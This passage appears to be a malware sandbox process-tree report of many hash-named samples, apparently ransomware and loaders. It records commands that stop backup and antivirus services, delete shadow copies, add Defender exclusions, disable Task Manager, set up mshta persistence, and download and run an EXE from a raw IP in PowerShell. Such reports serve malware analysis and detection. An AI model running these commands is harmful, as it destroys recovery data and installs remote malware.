C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "VeeamDeploymentService" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "VeeamDeploySvc" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "VeeamDeploySvc" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "VeeamEnterpriseManagerSvc" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "VeeamEnterpriseManagerSvc" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "VeeamMountSvc" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "VeeamMountSvc" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "VeeamNFSSvc" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "VeeamNFSSvc" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "VeeamRESTSvc" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "VeeamRESTSvc" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "VeeamTransportSvc" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "VeeamTransportSvc" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "W3Svc" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "W3Svc" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "wbengine" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "wbengine" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "WRSVC" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "WRSVC" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQL$VEEAMSQL2008R2" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL$VEEAMSQL2008R2" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLAgent$VEEAMSQL2008R2" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$VEEAMSQL2008R2" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "VeeamHvIntegrationSvc" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "VeeamHvIntegrationSvc" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "swi_update" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "swi_update" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLAgent$CXDB" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$CXDB" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLAgent$CITRIX_METAFRAME" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$CITRIX_METAFRAME" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQL Backups" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQL Backups" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQL$PROD" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL$PROD" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "Zoolz 2 Service" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Zoolz 2 Service" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQLServerADHelper" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQLServerADHelper" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLAgent$PROD" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$PROD" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "msftesql$PROD" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "msftesql$PROD" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "NetMsmqActivator" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "NetMsmqActivator" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "EhttpSrv" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "EhttpSrv" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "ekrn" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "ekrn" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "ESHASRV" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "ESHASRV" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQL$SOPHOS" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL$SOPHOS" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLAgent$SOPHOS" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$SOPHOS" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "AVP" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "AVP" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "klnagent" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "klnagent" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQL$SQLEXPRESS" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL$SQLEXPRESS" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLAgent$SQLEXPRESS" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$SQLEXPRESS" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "wbengine" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "wbengine" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "kavfsslp" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "kavfsslp" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "KAVFSGT" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "KAVFSGT" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "KAVFS" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "KAVFS" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "mfefire" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "mfefire" /y4⤵
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM zoolz.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM agntsvc.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM dbeng50.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM dbsnmp.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM encsvc.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM excel.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM firefoxconfig.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM infopath.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM isqlplussvc.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM msaccess.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM msftesql.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM mspub.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM mydesktopqos.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM mydesktopservice.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM mysqld.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM mysqld-nt.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM mysqld-opt.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM ocautoupds.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM ocomm.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM ocssd.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM onenote.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM oracle.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM outlook.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM powerpnt.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM sqbcoreservice.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM sqlagent.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM sqlbrowser.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM sqlservr.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM sqlwriter.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM steam.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM synctime.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM tbirdconfig.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM thebat.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM thebat64.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM thunderbird.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM visio.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM winword.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM wordpad.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM xfssvccon.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM tmlisten.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM PccNTMon.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM CNTAoSMgr.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM Ntrtscan.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM mbamtray.exe /T3⤵
- Kills process with taskkill
-
-
-
C:\Users\Admin\AppData\Local\Temp\3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe"C:\Users\Admin\AppData\Local\Temp\3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe delete shadows /all /quiet3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\vssadmin.exevssadmin.exe delete shadows /all /quiet4⤵
- Interacts with shadow copies
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe delete shadows /all /quiet3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\vssadmin.exevssadmin.exe delete shadows /all /quiet4⤵
- Interacts with shadow copies
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\4d5ecf3d1955458195771630f03f6ef42f5f62e66ed8e0681f8311d25aecc2bb.exe"C:\Users\Admin\AppData\Local\Temp\4d5ecf3d1955458195771630f03f6ef42f5f62e66ed8e0681f8311d25aecc2bb.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Checks system information in the registry
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\RANSOMNOTE.txt3⤵
- Opens file in notepad (likely ransom note)
-
-
-
C:\Users\Admin\AppData\Local\Temp\5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe"C:\Users\Admin\AppData\Local\Temp\5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:/'3⤵
- Command and Scripting Interpreter: PowerShell
- Loads dropped DLL
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:/$Recycle.Bin/'3⤵
- Command and Scripting Interpreter: PowerShell
- Loads dropped DLL
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Documents and Settings/'3⤵
- Command and Scripting Interpreter: PowerShell
- Loads dropped DLL
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:/PerfLogs/'3⤵
- Command and Scripting Interpreter: PowerShell
- Loads dropped DLL
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files/'3⤵
- Command and Scripting Interpreter: PowerShell
- Loads dropped DLL
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files (x86)/'3⤵
- Command and Scripting Interpreter: PowerShell
- Loads dropped DLL
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:/ProgramData/'3⤵
- Command and Scripting Interpreter: PowerShell
- Loads dropped DLL
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Recovery/'3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:/System Volume Information/'3⤵
- Command and Scripting Interpreter: PowerShell
- Loads dropped DLL
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Users/'3⤵
- Command and Scripting Interpreter: PowerShell
- Loads dropped DLL
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Windows/'3⤵
- Command and Scripting Interpreter: PowerShell
- Loads dropped DLL
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Crashpad\attachments\lsass.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Loads dropped DLL
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Default\PrintHood\TextInputHost.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Loads dropped DLL
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Windows Defender\en-US\smss.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Loads dropped DLL
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\Registration\CRMLog\powershell.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Loads dropped DLL
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\WindowsRE\taskhostw.exe'3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Loads dropped DLL
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\6wQalm2qZs.bat"3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\chcp.comchcp 650014⤵
-
-
C:\Windows\system32\PING.EXEping -n 10 localhost4⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Users\Admin\AppData\Local\Temp\5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe"C:\Users\Admin\AppData\Local\Temp\5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe"4⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\6ca05da8350d9f5e5d3a7547c0d4693ebc1190e3b76f58f4196021d0c080c722.exe"C:\Users\Admin\AppData\Local\Temp\6ca05da8350d9f5e5d3a7547c0d4693ebc1190e3b76f58f4196021d0c080c722.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\7a8c864ed8b7ca908d3f317d7e63a30a85fb3e8c94070f23f2cf0bfa01c5e0b5.exe"C:\Users\Admin\AppData\Local\Temp\7a8c864ed8b7ca908d3f317d7e63a30a85fb3e8c94070f23f2cf0bfa01c5e0b5.exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\7a8c864ed8b7ca908d3f317d7e63a30a85fb3e8c94070f23f2cf0bfa01c5e0b5.exe"C:\Users\Admin\AppData\Local\Temp\7a8c864ed8b7ca908d3f317d7e63a30a85fb3e8c94070f23f2cf0bfa01c5e0b5.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\9c65d850589e6ab34c6c8e65b8a3b4aa26fa913ca850472023a3b708f95c226b.exe"C:\Users\Admin\AppData\Local\Temp\9c65d850589e6ab34c6c8e65b8a3b4aa26fa913ca850472023a3b708f95c226b.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Temp\59ab63c99285e35679153e299e411aa32a94d25482566428a6fd7d908f04d4ad.exe"C:\Users\Admin\AppData\Local\Temp\59ab63c99285e35679153e299e411aa32a94d25482566428a6fd7d908f04d4ad.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\Program Files\Google\Chrome\Application'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Program Files\Google\Chrome\Application\Chrome_boostrap.exe"C:\Program Files\Google\Chrome\Application\Chrome_boostrap.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Users\Admin\AppData\Local\Temp\60e76eda46185d1d2e9463d15e31d4c87eb03535d368cc3471c55992bc99ad5f.exe"C:\Users\Admin\AppData\Local\Temp\60e76eda46185d1d2e9463d15e31d4c87eb03535d368cc3471c55992bc99ad5f.exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Temp\65fd5041c1a1c4115b0c59995221023486f02e5e5d8e313c3e48f3a42ef9a623.exe"C:\Users\Admin\AppData\Local\Temp\65fd5041c1a1c4115b0c59995221023486f02e5e5d8e313c3e48f3a42ef9a623.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\taskkill.exetaskkill /f /im taskmgr.exe4⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c REG ADD hkcu\Software\Microsoft\Windows\CurrentVersion\policies\system /v DisableTaskMgr /t reg_dword /d 1 /f3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\reg.exeREG ADD hkcu\Software\Microsoft\Windows\CurrentVersion\policies\system /v DisableTaskMgr /t reg_dword /d 1 /f4⤵
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c REG ADD hkcu\Software\Microsoft\Windows\CurrentVersion\policies\Explorer /v NoRun /t reg_dword /d 1 /f3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\reg.exeREG ADD hkcu\Software\Microsoft\Windows\CurrentVersion\policies\Explorer /v NoRun /t reg_dword /d 1 /f4⤵
- Modifies registry key
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\77ebb550f38da3f28a65940a4c665ae3a679249ad906aa39387568a1f7ddd3fa.exe"C:\Users\Admin\AppData\Local\Temp\77ebb550f38da3f28a65940a4c665ae3a679249ad906aa39387568a1f7ddd3fa.exe"2⤵
- Executes dropped EXE
- Drops desktop.ini file(s)
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122883⤵
-
-
C:\ProgramData\13E9.tmp"C:\ProgramData\13E9.tmp"3⤵
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Windows\System32\cmd.exe" /C DEL /F /Q C:\PROGRA~3\13E9.tmp >> NUL4⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe"C:\Users\Admin\AppData\Local\Temp\80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe"2⤵
- Executes dropped EXE
- Drops desktop.ini file(s)
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c C:\Windows\System32\wbem\WMIC.exe shadowcopy where "ID='{07650388-BC3A-44D3-89C7-83215744BDD5}'" delete3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\wbem\WMIC.exeC:\Windows\System32\wbem\WMIC.exe shadowcopy where "ID='{07650388-BC3A-44D3-89C7-83215744BDD5}'" delete4⤵
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\182fb9756b66963f458ebbe0f20ff2715a758825ac6655fc56ec85579df61330.exe"C:\Users\Admin\AppData\Local\Temp\182fb9756b66963f458ebbe0f20ff2715a758825ac6655fc56ec85579df61330.exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3808 -s 5443⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3808 -s 6123⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3808 -s 8763⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3808 -s 8763⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3808 -s 9083⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3808 -s 10283⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3808 -s 12203⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3808 -s 12523⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3808 -s 12603⤵
- Program crash
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://katt.gdn/lp/thanks.php3⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3808 -s 6043⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3808 -s 8203⤵
- Program crash
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Roaming\Adobe\Update.exe" "C:\Users\Admin\AppData\Local\Temp\182fb9756b66963f458ebbe0f20ff2715a758825ac6655fc56ec85579df61330.exe"3⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3808 -s 4363⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\188c3798b6d41bdfa3981bb61a40b81f4fe123c64b9bed2d4c40951de2064f19.exe"C:\Users\Admin\AppData\Local\Temp\188c3798b6d41bdfa3981bb61a40b81f4fe123c64b9bed2d4c40951de2064f19.exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /create /tn 2idgumaWcLY /tr "mshta C:\Users\Admin\AppData\Local\Temp\ESFGC8M8r.hta" /sc minute /mo 25 /ru "Admin" /f3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn 2idgumaWcLY /tr "mshta C:\Users\Admin\AppData\Local\Temp\ESFGC8M8r.hta" /sc minute /mo 25 /ru "Admin" /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\mshta.exemshta C:\Users\Admin\AppData\Local\Temp\ESFGC8M8r.hta3⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'KMTJGZCNUKTPMLOQHQPBOJHLPUFQYQGB.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.156.72.2/testmine/random.exe',$d);Start-Process $d;4⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\0379d402a94f960380d7d91e3bfa106eeac01cd39ae7b0ba5010ba737088a215.exe"C:\Users\Admin\AppData\Local\Temp\0379d402a94f960380d7d91e3bfa106eeac01cd39ae7b0ba5010ba737088a215.exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
